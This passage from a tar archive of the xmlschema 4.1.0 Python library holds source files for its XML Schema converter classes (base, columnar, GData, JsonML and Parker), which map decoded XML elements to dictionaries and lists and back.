interchange between decoders and converters. The field *tag* is a string containing the Element's tag, *text* can be `None` or a string representing the Element's text, *content* can be `None`, a list containing the Element's children or a dictionary containing element name to list of element contents for the Element's children (used for unordered input data), *attributes* can be `None` or a dictionary containing the Element's attributes, *xmlns* can be `None` or a list of couples containing namespace declarations. """ T = TypeVar('T') def stackable(method: Callable[..., T]) -> Callable[..., T]: """Mark if a converter object method supports 'stacked' xmlns processing mode.""" method.stackable = True # type: ignore[attr-defined] return method class XMLSchemaConverter(NamespaceMapper): """ Generic XML Schema based converter class. A converter is used to compose decoded XML data for an Element into a data structure and to build an Element from encoded data structure. There are two methods for interfacing the converter with the decoding/encoding process. The method *element_decode* accepts an ElementData tuple, containing the element parts, and returns a data structure. The method *element_encode* accepts a data structure and returns an ElementData tuple. For default character data parts are ignored. Prefixes and text key can be changed also using alphanumeric values but ambiguities with schema elements could affect XML data re-encoding. :param namespaces: map from namespace prefixes to URI. :param dict_class: dictionary class to use for decoded data. Default is `dict`. :param list_class: list class to use for decoded data. Default is `list`. :param etree_element_class: the class that has to be used to create new XML elements, \ if not provided uses the ElementTree's Element class. :param text_key: is the key to apply to element's decoded text data. :param attr_prefix: controls the mapping of XML attributes, to the same name or \ with a prefix. If `None` the converter ignores attributes. :param cdata_prefix: is used for including and prefixing the character data parts \ of a mixed content, that are labeled with an integer instead of a string. \ Character data parts are ignored if this argument is `None`. :param indent: number of spaces for XML indentation (default is 4). :param process_namespaces: whether to use namespace information in name mapping \ methods. If set to `False` then the name mapping methods simply return the \ provided name. :param strip_namespaces: if set to `True` removes namespace declarations from data and \ namespace information from names, during decoding or encoding. Defaults to `False`. :param xmlns_processing: defines the processing mode of XML namespace declarations. \ Can be 'stacked', 'collapsed', 'root-only' or 'none', with the meaning defined for \ the `NamespaceMapper` base class. For default the xmlns processing mode is chosen \ between 'stacked', 'collapsed' and 'none', depending on the provided XML source \ and the capabilities and the settings of the converter instance. :param source: the origin of XML data. Con be an `XMLResource` instance or `None`. :param preserve_root: if set to `True` the root element is preserved, wrapped into a \ single-item dictionary. Applicable only to default converter, to \ :class:`UnorderedConverter` and to :class:`ParkerConverter`. :param force_dict: if set to `True` complex elements with simple content are decoded \ with a dictionary also if there are no decoded attributes. Applicable only to default \ converter and to :class:`UnorderedConverter`. Defaults to `False`. :param force_list: if set to `True` child elements are decoded within a list in any case. \ Applicable only to default converter and to :class:`UnorderedConverter`. Defaults to `False`. :ivar dict: dictionary class to use for decoded data. :ivar list: list class to use for decoded data. :ivar etree_element_class: Element class to use :ivar text_key: key for decoded Element text :ivar attr_prefix: prefix for attribute names :ivar cdata_prefix: prefix for character data parts :ivar indent: indentation to use for rebuilding XML trees :ivar preserve_root: preserve the root element on decoding :ivar force_dict: force dictionary for complex elements with simple content :ivar force_list: force list for child elements """ ns_prefix: str etree_element_class: Type[Element] __slots__ = ('dict', 'list', 'etree_element_class', 'text_key', 'ns_prefix', 'attr_prefix', 'cdata_prefix', 'indent', 'preserve_root', 'force_dict', 'force_list') def __init__(self, namespaces: Optional[NsmapType] = None, dict_class: Optional[Type[dict[str, Any]]] = None, list_class: Optional[Type[list[Any]]] = None, etree_element_class: Optional[Type[Element]] = None, text_key: Optional[str] = '$', attr_prefix: Optional[str] = '@', cdata_prefix: Optional[str] = None, indent: int = 4, process_namespaces: bool = True, strip_namespaces: bool = False, xmlns_processing: Optional[str] = None, source: Optional[XMLResource] = None, preserve_root: bool = False, force_dict: bool = False, force_list: bool = False, **kwargs: Any) -> None: self.dict: Type[dict[str, Any]] self.list: Type[list[Any]] if dict_class is not None: self.dict = dict_class else: self.dict = dict if list_class is not None: self.list = list_class else: self.list = list if etree_element_class is not None: self.etree_element_class = etree_element_class else: self.etree_element_class = Element self.text_key = text_key self.attr_prefix = attr_prefix self.cdata_prefix = cdata_prefix self.ns_prefix = 'xmlns' if attr_prefix is None else f'{attr_prefix}xmlns' self.indent = indent self.preserve_root = preserve_root self.force_dict = force_dict self.force_list = force_list super().__init__( namespaces, process_namespaces, strip_namespaces, xmlns_processing, source ) def __setattr__(self, name: str, value: Any) -> None: if name in {'attr_prefix', 'text_key', 'cdata_prefix'}: if value is not None and not isinstance(value, str): msg = "%(name)r must be a <class 'str'> instance or None, not %(type)r" raise XMLSchemaTypeError(msg % {'name': name, 'type': type(value)}) elif name in {'strip_namespaces', 'preserve_root', 'force_dict', 'force_list'}: if not isinstance(value, bool): msg = "%(name)r must be a <class 'bool'> instance, not %(type)r" raise XMLSchemaTypeError(msg % {'name': name, 'type': type(value)}) elif name == 'indent': if isinstance(value, bool) or not isinstance(value, int): msg = "%(name)r must be a <class 'int'> instance, not %(type)r" raise XMLSchemaTypeError(msg % {'name': name, 'type': type(value)}) elif name == 'dict': if not issubclass(value, MutableMapping): msg = "%(name)r must be a MutableMapping object, not %(type)r" raise XMLSchemaTypeError(msg % {'name': 'dict_class', 'type': type(value)}) elif name == 'list': if not issubclass(value, MutableSequence): msg = "%(name)r must be a MutableSequence object, not %(type)r" raise XMLSchemaTypeError(msg % {'name': 'list_class', 'type': type(value)}) super().__setattr__(name, value) @property def xmlns_processing_default(self) -> str: """ Returns the default of the xmlns processing mode, used if `None` is provided. """ if isinstance(self.source, XMLResource): if getattr(self.element_decode, 'stackable', False): return 'stacked' else: return 'collapsed' elif getattr(self.element_encode, 'stackable', False): return 'stacked' else: return 'collapsed' @property def lossy(self) -> bool: """The converter ignores some kind of XML data during decoding/encoding.""" return self.cdata_prefix is None or self.text_key is None or self.attr_prefix is None @property def losslessly(self) -> bool: """ The XML data is decoded without loss of quality, neither on data nor on data model shape. Only losslessly converters can be always used to encode to an XML data that is strictly conformant to the schema. """ return False @property def loss_xmlns(self) -> bool: """The converter ignores XML namespace information during decoding/encoding.""" return not self._use_namespaces def copy(self, keep_namespaces: bool = True, **kwargs: Any) -> 'XMLSchemaConverter': """ Creates a new converter instance from the existing, replacing options provided with keyword arguments. :param keep_namespaces: whether to keep the namespaces of the converter \ if they are not replaced by a keyword argument. """ namespaces = kwargs.get('namespaces', self._namespaces if keep_namespaces else None) xmlns_processing = None if 'source' in kwargs else self.xmlns_processing return type(self)( namespaces=namespaces, dict_class=kwargs.get('dict_class', self.dict), list_class=kwargs.get('list_class', self.list), etree_element_class=kwargs.get('etree_element_class', self.etree_element_class), text_key=kwargs.get('text_key', self.text_key), attr_prefix=kwargs.get('attr_prefix', self.attr_prefix), cdata_prefix=kwargs.get('cdata_prefix', self.cdata_prefix), indent=kwargs.get('indent', self.indent), process_namespaces=kwargs.get('process_namespaces', self.process_namespaces), strip_namespaces=kwargs.get('strip_namespaces', self.strip_namespaces), xmlns_processing=kwargs.get('xmlns_processing', xmlns_processing), source=kwargs.get('source', self.source), preserve_root=kwargs.get('preserve_root', self.preserve_root), force_dict=kwargs.get('force_dict', self.force_dict), force_list=kwargs.get('force_list', self.force_list), ) def map_attributes(self, attributes: Iterable[tuple[str, Any]]) \ -> Iterator[tuple[str, Any]]: """ Creates an iterator for converting decoded attributes to a data structure with appropriate prefixes. :param attributes: A sequence or an iterator of couples with the name of \ the attribute and the decoded value. Default is `None` (for `simpleType` \ elements, that don't have attributes). """ if self.attr_prefix is not None and attributes: for name, value in attributes: yield self.attr_prefix + self.map_qname(name), value def map_content(self, content: Iterable[tuple[str, Any, Any]]) \ -> Iterator[tuple[str, Any, Any]]: """ A generator function for converting the decoded content to a data structure. :param content: A sequence or an iterator of tuples with the name of the \ element, the decoded value and the `XsdElement` instance associated. """ if content: for name, value, xsd_child in content: if isinstance(name, int): if self.cdata_prefix is not None: yield f'{self.cdata_prefix}{name}', value, xsd_child elif name[0] == '{': yield self.map_qname(name), value, xsd_child else: yield name, value, xsd_child def etree_element(self, tag: str, text: Optional[str] = None, children: Optional[list[Element]] = None, attrib: Optional[Union[dict[str, str], Iterable[tuple[str, str]]]] = None, level: int = 0) -> Element: """ Builds an ElementTree's Element using arguments and the element class and the indent spacing stored in the converter instance. :param tag: the Element tag string. :param text: the Element text. :param children: the list of Element children/subelements. :param attrib: a dictionary with Element attributes. :param level: the level related to the encoding process (0 means the root). :return: an instance of the Element class is set for the converter instance. """ if type(self.etree_element_class) is type(Element): elem = self.etree_element_class(tag) else: nsmap = {prefix if prefix else None: uri for prefix, uri in self._namespaces.items() if uri} elem = self.etree_element_class(tag, nsmap=nsmap) # type: ignore[arg-type] if attrib is not None: elem.attrib.update(attrib) if children: elem.extend(children) elem.text = text or '\n' + ' ' * self.indent * (level + 1) elem.tail = '\n' + ' ' * self.indent * level else: elem.text = text elem.tail = '\n' + ' ' * self.indent * level return elem def is_xmlns(self, name: str) -> bool: """Returns `True` if the name is a xmlns declaration.""" return name.startswith(self.ns_prefix) and \ (name == self.ns_prefix or name.startswith(f'{self.ns_prefix}:')) def get_effective_xmlns(self, xmlns: XmlnsType, level: int, xsd_element: Optional['XsdElement'] = None) -> XmlnsType: """ Returns the effective xmlns for element decoding/encoding, considering the level and the matching XSD element. At level 0, that is the root of the single decoding/encoding process, all the defined namespaces are returned only if the XSD element is global, otherwise no namespace is returned. """ if level: return xmlns elif xsd_element is None or not xsd_element.is_global(): return None else: return [x for x in self._namespaces.items()] def get_xmlns_from_data(self, obj: Any) -> Optional[list[tuple[str, str]]]: """Returns the XML declarations from decoded element data.""" if not self._use_namespaces or not isinstance(obj, MutableMapping): return None xmlns = [] for name, value in obj.items(): if name == self.ns_prefix: xmlns.append(('', value)) elif name.startswith(f'{self.ns_prefix}:'): xmlns.append((name[len(self.ns_prefix) + 1:], value)) return xmlns @stackable def element_decode(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> Any: """ Converts a decoded element data to a data structure. :param data: ElementData instance decoded from an Element node. :param xsd_element: the `XsdElement` associated to decode the data. :param xsd_type: optional XSD type for supporting dynamic type through \ *xsi:type* or xs:alternative. :param level: the level related to the decoding process (0 means the root). :return: a data structure containing the decoded data. """ _xsd_type = xsd_type or xsd_element.type result_dict = self.dict() xmlns = self.get_effective_xmlns(data.xmlns, level, xsd_element) def keep_result_dict() -> bool: """ Decide when to keep a result dict in case of an element with simple content. """ if data.attributes or self.force_dict and _xsd_type.is_complex(): return True elif not xmlns or not self._use_namespaces: return False namespace = get_namespace(data.tag) if any(x[1] == namespace for x in xmlns): return True if _xsd_type.is_qname() and isinstance(data.text, str): try: prefix = data.text.split(':')[0] except IndexError: prefix = '' if any(x[0] == prefix for x in xmlns): return True return False if self._use_namespaces and xmlns: result_dict.update( (f'{self.ns_prefix}:{k}' if k else self.ns_prefix, v) for k, v in xmlns ) if data.attributes: result_dict.update(self.map_attributes(data.attributes)) xsd_group = _xsd_type.model_group if xsd_group is None or not data.content: if keep_result_dict(): result_dict.update(self.map_attributes(data.attributes)) if data.text is not None and self.text_key is not None: result_dict[self.text_key] = data.text elif not level and self.preserve_root: return self.dict([(self.map_qname(data.tag), data.text)]) else: return data.text else: if data.attributes: result_dict.update(self.map_attributes(data.attributes)) has_single_group = xsd_group.is_single() for name, value, xsd_child in self.map_content(data.content): try: result = result_dict[name] except KeyError: if xsd_child is None or has_single_group and xsd_child.is_single(): result_dict[name] = self.list([value]) if self.force_list else value else: result_dict[name] = self.list([value]) else: if not isinstance(result, MutableSequence) or not result: result_dict[name] = self.list([result, value]) elif isinstance(result[0], MutableSequence) or \ not isinstance(value, MutableSequence): result.append(value) else: result_dict[name] = self.list([result, value]) if not level and self.preserve_root: return self.dict([(self.map_qname(data.tag), result_dict or None)]) return result_dict or None @stackable def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: """ Extracts XML decoded data from a data structure for encoding into an ElementTree. :param obj: the decoded object. :param xsd_element: the `XsdElement` associated to the decoded data structure. :param level: the level related to the encoding process (0 means the root). :return: an ElementData instance. """ if level or not self.preserve_root: element_name = None elif not isinstance(obj, MutableMapping): raise XMLSchemaTypeError(f"A dictionary expected, got {type(obj)} instead.") elif len(obj) != 1: raise XMLSchemaValueError("The dictionary must have exactly one element.") else: element_name, obj = next(iter(obj.items())) if not isinstance(obj, MutableMapping): if xsd_element.type.simple_type is not None: return ElementData(xsd_element.name, obj, None, {}, None) elif xsd_element.type.mixed and isinstance(obj, (str, bytes)): return ElementData(xsd_element.name, None, [(1, obj)], {}, None) else: return ElementData(xsd_element.name, None, obj, {}, None) text = None content: list[tuple[Union[int, str], Any]] = [] attributes = {} xmlns = self.set_context(obj, level) if element_name is None: tag = xsd_element.name else: tag = self.unmap_qname(element_name) if not xsd_element.is_matching(tag, self.default_namespace): raise XMLSchemaValueError("data tag does not match XSD element name") for name, value in obj.items(): if name == self.text_key: text = value elif self.cdata_prefix is not None and \ name.startswith(self.cdata_prefix) and \ (index := name[len(self.cdata_prefix):]).isdigit(): content.append((int(index), value)) elif self.is_xmlns(name): continue elif self.attr_prefix and \ name.startswith(self.attr_prefix) and \ (attr_name := name[len(self.attr_prefix):]): ns_name = self.unmap_qname(attr_name, xsd_element.attributes) attributes[ns_name] = value elif not isinstance(value, MutableSequence) or not value: ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value)) content.append((ns_name, value)) elif isinstance(value[0], (MutableMapping, MutableSequence)): ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value[0])) content.extend((ns_name, item) for item in value) else: ns_name = self.unmap_qname(name) xsd_child = xsd_element.match_child(ns_name) if xsd_child is not None: if xsd_child.type and xsd_child.type.is_list(): content.append((ns_name, value)) else: content.extend((ns_name, item) for item in value) elif self.attr_prefix == '' and ns_name in xsd_element.attributes: attributes[ns_name] = value else: content.extend((ns_name, item) for item in value) return ElementData(tag, text, content, attributes, xmlns) �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/converters/columnar.py����������������������������������������������������0000664�0000000�0000000�00000016414�15020401055�0022040�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from collections.abc import MutableMapping, MutableSequence from typing import TYPE_CHECKING, Any, Optional, Type from xmlschema.exceptions import XMLSchemaTypeError, XMLSchemaValueError from xmlschema.aliases import NsmapType, BaseXsdType from xmlschema.resources import XMLResource from .base import ElementData, XMLSchemaConverter if TYPE_CHECKING: from xmlschema.validators import XsdElement class ColumnarConverter(XMLSchemaConverter): """ XML Schema based converter class for columnar formats. :param namespaces: map from namespace prefixes to URI. :param dict_class: dictionary class to use for decoded data. Default is `dict`. :param list_class: list class to use for decoded data. Default is `list`. :param attr_prefix: used as separator string for renaming the decoded attributes. \ Can be the empty string (the default) or a single/double underscore. """ __slots__ = () def __init__(self, namespaces: Optional[NsmapType] = None, dict_class: Optional[Type[dict[str, Any]]] = None, list_class: Optional[Type[list[Any]]] = None, attr_prefix: Optional[str] = '', **kwargs: Any) -> None: kwargs.update(text_key=None, cdata_prefix=None) super().__init__(namespaces, dict_class, list_class, attr_prefix=attr_prefix, **kwargs) @property def xmlns_processing_default(self) -> str: return 'stacked' if isinstance(self.source, XMLResource) else 'none' @property def lossy(self) -> bool: return True # Loss cdata parts @property def loss_xmlns(self) -> bool: return True def __setattr__(self, name: str, value: Any) -> None: if name != 'attr_prefix': super().__setattr__(name, value) elif not isinstance(value, str): msg = "%(name)r must be a <class 'str'> instance, not %(type)r" raise XMLSchemaTypeError(msg % {'name': name, 'type': type(value)}) elif value not in ('', '_', '__'): msg = '%r can be the empty string or a single/double underscore' raise XMLSchemaValueError(msg % name) else: super(XMLSchemaConverter, self).__setattr__(name, value) def element_decode(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> Any: result_dict: Any xsd_type = xsd_type or xsd_element.type if data.attributes: if self.attr_prefix: pfx = xsd_element.local_name + self.attr_prefix else: pfx = xsd_element.local_name result_dict = self.dict((pfx + self.map_qname(k), v) for k, v in data.attributes) else: result_dict = self.dict() if xsd_type.simple_type is not None: result_dict[xsd_element.local_name] = data.text if data.content: for name, value, xsd_child in self.map_content(data.content): if not value: continue elif xsd_child.local_name: name = xsd_child.local_name else: name = name[2 + len(xsd_child.namespace):] if xsd_child.is_single(): if xsd_child.type is not None and xsd_child.type.simple_type is not None: for k in value: result_dict[k] = value[k] else: result_dict[name] = value else: if xsd_child.type is not None and xsd_child.type.simple_type is not None \ and not xsd_child.attributes: if len(xsd_element.findall('*')) == 1: try: result_dict.append(list(value.values())[0]) except AttributeError: result_dict = self.list(value.values()) else: try: result_dict[name].append(list(value.values())[0]) except KeyError: result_dict[name] = self.list(value.values()) except AttributeError: result_dict[name] = self.list(value.values()) else: try: result_dict[name].append(value) except KeyError: result_dict[name] = self.list([value]) except AttributeError: result_dict[name] = self.list([value]) if level == 0: return self.dict([(xsd_element.local_name, result_dict)]) else: return result_dict def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: if level != 0: tag = xsd_element.local_name else: tag = xsd_element.local_name try: obj = obj[tag] except (KeyError, AttributeError, TypeError): pass if not isinstance(obj, MutableMapping): if xsd_element.type.simple_type is not None: return ElementData(xsd_element.name, obj, None, {}, None) elif xsd_element.type.mixed and not isinstance(obj, MutableSequence): return ElementData(xsd_element.name, obj, None, {}, None) else: return ElementData(xsd_element.name, None, obj, {}, None) text = None content: list[tuple[Optional[str], MutableSequence[Any]]] = [] attributes = {} pfx = tag + self.attr_prefix if self.attr_prefix else tag for name, value in obj.items(): if name == tag: text = value elif name.startswith(pfx) and len(name) > len(pfx): attr_name = name[len(pfx):] ns_name = self.unmap_qname(attr_name, xsd_element.attributes) attributes[ns_name] = value elif not isinstance(value, MutableSequence) or not value: content.append((self.unmap_qname(name), value)) elif isinstance(value[0], (MutableMapping, MutableSequence)): ns_name = self.unmap_qname(name) content.extend((ns_name, item) for item in value) else: ns_name = self.unmap_qname(name) xsd_child = xsd_element.match_child(ns_name) if xsd_child is not None: if xsd_child.type and xsd_child.type.is_list(): content.append((ns_name, value)) else: content.extend((ns_name, item) for item in value) else: content.extend((ns_name, item) for item in value) return ElementData(xsd_element.name, text, content, attributes, None) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/converters/gdata.py�������������������������������������������������������0000664�0000000�0000000�00000016761�15020401055�0021305�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Mikhail Razgovorov <1338833@gmail.com> # from collections.abc import Container, MutableMapping, MutableSequence from typing import TYPE_CHECKING, Any, Optional, Type, Union from xmlschema.exceptions import XMLSchemaTypeError from xmlschema.aliases import NsmapType, BaseXsdType from xmlschema.names import XSD_ANY_TYPE from xmlschema.utils.qnames import local_name from .base import ElementData, stackable, XMLSchemaConverter if TYPE_CHECKING: from xmlschema.validators import XsdElement class GDataConverter(XMLSchemaConverter): """ XML Schema based converter class for GData protocol convention. ref: https://developers.google.com/gdata/docs/json :param namespaces: Map from namespace prefixes to URI. :param dict_class: dictionary class to use for decoded data. Default is `dict`. :param list_class: list class to use for decoded data. Default is `list`. :param kwargs: Additional keyword arguments to pass to base converter and \ namespace mapper classes. """ __slots__ = () def __init__(self, namespaces: Optional[NsmapType] = None, dict_class: Optional[Type[dict[str, Any]]] = None, list_class: Optional[Type[list[Any]]] = None, **kwargs: Any) -> None: kwargs.update(attr_prefix='', text_key='$t', cdata_prefix='$') super().__init__(namespaces, dict_class, list_class, **kwargs) @property def lossy(self) -> bool: return True # a child element can override an attribute in the same namespace def map_qname(self, qname: str) -> str: name = super().map_qname(qname) if name.startswith('{') or ':' not in name: return name else: return name.replace(':', '$') def unmap_qname(self, qname: str, name_table: Optional[Container[Optional[str]]] = None, xmlns: Optional[list[tuple[str, str]]] = None) -> str: if '$' in qname and not qname.startswith('$'): qname = qname.replace('$', ':') return super().unmap_qname(qname, name_table, xmlns) def get_xmlns_from_data(self, obj: Any) -> Optional[list[tuple[str, str]]]: if not self._use_namespaces or not isinstance(obj, MutableMapping): return None xmlns = [] for k, v in obj.items(): if k == 'xmlns': xmlns.append(('', v)) elif k.startswith('xmlns$'): xmlns.append((k[6:], v)) return xmlns @stackable def element_decode(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> Any: xsd_type = xsd_type or xsd_element.type tag = self.map_qname(data.tag) result_dict = self.dict(t for t in self.map_attributes(data.attributes)) xmlns = self.get_effective_xmlns(data.xmlns, level, xsd_element) if self._use_namespaces and xmlns: result_dict.update((f'xmlns${k}' if k else 'xmlns', v) for k, v in xmlns) xsd_group = xsd_type.model_group if xsd_group is None or not data.content: if data.text is not None: result_dict['$t'] = data.text else: has_single_group = xsd_group.is_single() for name, item, xsd_child in self.map_content(data.content): if name.startswith('$') and name[1:].isdigit(): result_dict[name] = item continue assert isinstance(item, MutableMapping) and xsd_child is not None item = item[name] if name in result_dict: other = result_dict[name] if not isinstance(other, MutableSequence) or not other: result_dict[name] = self.list([other, item]) elif isinstance(other[0], MutableSequence) or \ not isinstance(item, MutableSequence): other.append(item) else: result_dict[name] = self.list([other, item]) else: if xsd_type.name == XSD_ANY_TYPE or \ has_single_group and xsd_child.is_single(): result_dict[name] = item else: result_dict[name] = self.list([item]) return self.dict([(tag, result_dict)]) @stackable def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: if not isinstance(obj, MutableMapping): raise XMLSchemaTypeError(f"A dictionary expected, got {type(obj)} instead.") elif len(obj) != 1 or '$t' in obj: tag = xsd_element.name else: key, value = next(iter(obj.items())) if not isinstance(value, MutableMapping): tag = xsd_element.name else: tag = self.unmap_qname(key, xmlns=self.get_xmlns_from_data(value)) if xsd_element.is_matching(tag): obj = value elif not self.namespaces and local_name(tag) == xsd_element.local_name: obj = value else: tag = xsd_element.name text = None content: list[tuple[Union[str, int], Any]] = [] attributes = {} xmlns = self.set_context(obj, level) for name, value in obj.items(): if name == '$t': text = value elif name[0] == '$' and name[1:].isdigit(): content.append((int(name[1:]), value)) elif not isinstance(value, (MutableMapping, MutableSequence)): if name == 'xmlns' or name.startswith('xmlns$'): continue # an xmlns declaration ns_name = self.unmap_qname(name, xsd_element.attributes) attributes[ns_name] = value elif not isinstance(value, MutableSequence) or not value: ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value)) content.append((ns_name, value)) elif isinstance(value[0], (MutableMapping, MutableSequence)): ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value[0])) for item in value: content.append((ns_name, item)) else: ns_name = self.unmap_qname(name) xsd_child = xsd_element.match_child(ns_name) if xsd_child is not None: if xsd_child.type and xsd_child.type.is_list(): content.append((ns_name, value)) else: content.extend((ns_name, item) for item in value) else: if isinstance(value, MutableSequence): # Fallback tentative to an attribute if no element match attr_name = self.unmap_qname(name, xsd_element.attributes) if attr_name in xsd_element.attributes: attributes[attr_name] = value continue content.append((ns_name, value)) return ElementData(tag, text, content, attributes, xmlns) ���������������xmlschema-4.1.0/xmlschema/converters/jsonml.py������������������������������������������������������0000664�0000000�0000000�00000011616�15020401055�0021521�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from collections.abc import MutableMapping, MutableSequence from typing import TYPE_CHECKING, Any, Optional, Type from xmlschema.exceptions import XMLSchemaTypeError, XMLSchemaValueError from xmlschema.aliases import NsmapType, BaseXsdType from .base import ElementData, stackable, XMLSchemaConverter if TYPE_CHECKING: from xmlschema.validators import XsdElement class JsonMLConverter(XMLSchemaConverter): """ XML Schema based converter class for JsonML (JSON Mark-up Language) convention. ref: http://www.jsonml.org/ ref: https://www.ibm.com/developerworks/library/x-jsonml/ :param namespaces: Map from namespace prefixes to URI. :param dict_class: dictionary class to use for decoded data. Default is `dict`. :param list_class: list class to use for decoded data. Default is `list`. """ __slots__ = () def __init__(self, namespaces: Optional[NsmapType] = None, dict_class: Optional[Type[dict[str, Any]]] = None, list_class: Optional[Type[list[Any]]] = None, **kwargs: Any) -> None: kwargs.update(attr_prefix='', text_key='', cdata_prefix='') super().__init__(namespaces, dict_class, list_class, **kwargs) @property def lossy(self) -> bool: return False @property def losslessly(self) -> bool: return True def get_xmlns_from_data(self, obj: Any) -> Optional[list[tuple[str, str]]]: if not self._use_namespaces or not isinstance(obj, MutableSequence) \ or len(obj) < 2 or not isinstance(obj[1], MutableMapping): return None xmlns = [] for k, v in obj[1].items(): if k == 'xmlns': xmlns.append(('', v)) elif k.startswith('xmlns:'): xmlns.append((k.split('xmlns:')[1], v)) return xmlns @stackable def element_decode(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> Any: xsd_type = xsd_type or xsd_element.type result_list = self.list() xmlns = self.get_effective_xmlns(data.xmlns, level, xsd_element) result_list.append(self.map_qname(data.tag)) attributes = self.dict(self.map_attributes(data.attributes)) if xmlns and self._use_namespaces: attributes.update( (f'{self.ns_prefix}:{k}' if k else self.ns_prefix, v) for k, v in xmlns ) if attributes: result_list.append(attributes) if data.text is not None: result_list.append(data.text) if xsd_type.model_group is not None: result_list.extend([ value if value is not None else self.list([name]) for name, value, _ in self.map_content(data.content) ]) return result_list @stackable def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: if not isinstance(obj, MutableSequence): msg = "The first argument must be a sequence, {} provided" raise XMLSchemaTypeError(msg.format(type(obj))) elif not obj: raise XMLSchemaValueError("The first argument is an empty sequence") xmlns = self.set_context(obj, level) tag = self.unmap_qname(obj[0]) if not xsd_element.is_matching(tag): raise XMLSchemaValueError("Unmatched tag") data_len = len(obj) if data_len == 1: return ElementData(tag, None, None, {}, None) attributes: dict[str, Any] = {} if isinstance(obj[1], MutableMapping): content_index = 2 for k, v in obj[1].items(): if k != 'xmlns' and not k.startswith('xmlns:'): attributes[self.unmap_qname(k, xsd_element.attributes)] = v else: content_index = 1 if data_len <= content_index: return ElementData(tag, None, [], attributes, xmlns) elif data_len == content_index + 1 and \ (xsd_element.type.simple_type is not None or not xsd_element.type.content and xsd_element.type.mixed): return ElementData(tag, obj[content_index], [], attributes, xmlns) else: cdata_num = iter(range(1, data_len)) content = [ (self.unmap_qname(e[0], xmlns=self.get_xmlns_from_data(e)), e) if isinstance(e, MutableSequence) else (next(cdata_num), e) for e in obj[content_index:] ] return ElementData(tag, None, content, attributes, xmlns) ������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/converters/parker.py������������������������������������������������������0000664�0000000�0000000�00000013117�15020401055�0021501�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from collections.abc import MutableMapping, MutableSequence from typing import TYPE_CHECKING, Any, Optional, Type from xmlschema.aliases import NsmapType, BaseXsdType from xmlschema.resources import XMLResource from .base import ElementData, XMLSchemaConverter if TYPE_CHECKING: from xmlschema.validators import XsdElement class ParkerConverter(XMLSchemaConverter): """ XML Schema based converter class for Parker convention. ref: http://wiki.open311.org/JSON_and_XML_Conversion/#the-parker-convention ref: https://developer.mozilla.org/en-US/docs/Archive/JXON#The_Parker_Convention :param namespaces: Map from namespace prefixes to URI. :param dict_class: dictionary class to use for decoded data. Default is `dict`. :param list_class: list class to use for decoded data. Default is `list`. :param preserve_root: If `True` the root element will be preserved. For default \ the Parker convention remove the document root element, returning only the value. """ __slots__ = () def __init__(self, namespaces: Optional[NsmapType] = None, dict_class: Optional[Type[dict[str, Any]]] = None, list_class: Optional[Type[list[Any]]] = None, preserve_root: bool = False, **kwargs: Any) -> None: kwargs.update(attr_prefix=None, text_key='', cdata_prefix=None) super().__init__( namespaces, dict_class, list_class, preserve_root=preserve_root, **kwargs ) @property def xmlns_processing_default(self) -> str: return 'stacked' if isinstance(self.source, XMLResource) else 'none' @property def lossy(self) -> bool: return True @property def loss_xmlns(self) -> bool: return True def element_decode(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> Any: xsd_type = xsd_type or xsd_element.type preserve_root = self.preserve_root if xsd_type.model_group is None or not data.content: if preserve_root: return self.dict([(self.map_qname(data.tag), data.text)]) else: return data.text else: result_dict = self.dict() for name, value, xsd_child in self.map_content(data.content): if preserve_root: try: if len(value) == 1: value = value[name] except (TypeError, KeyError): pass try: result_dict[name].append(value) except KeyError: if isinstance(value, MutableSequence): result_dict[name] = self.list([value]) else: result_dict[name] = value except AttributeError: result_dict[name] = self.list([result_dict[name], value]) for k, v in result_dict.items(): if isinstance(v, MutableSequence) and len(v) == 1: value = v.pop() v.extend(value) if preserve_root: return self.dict([(self.map_qname(data.tag), 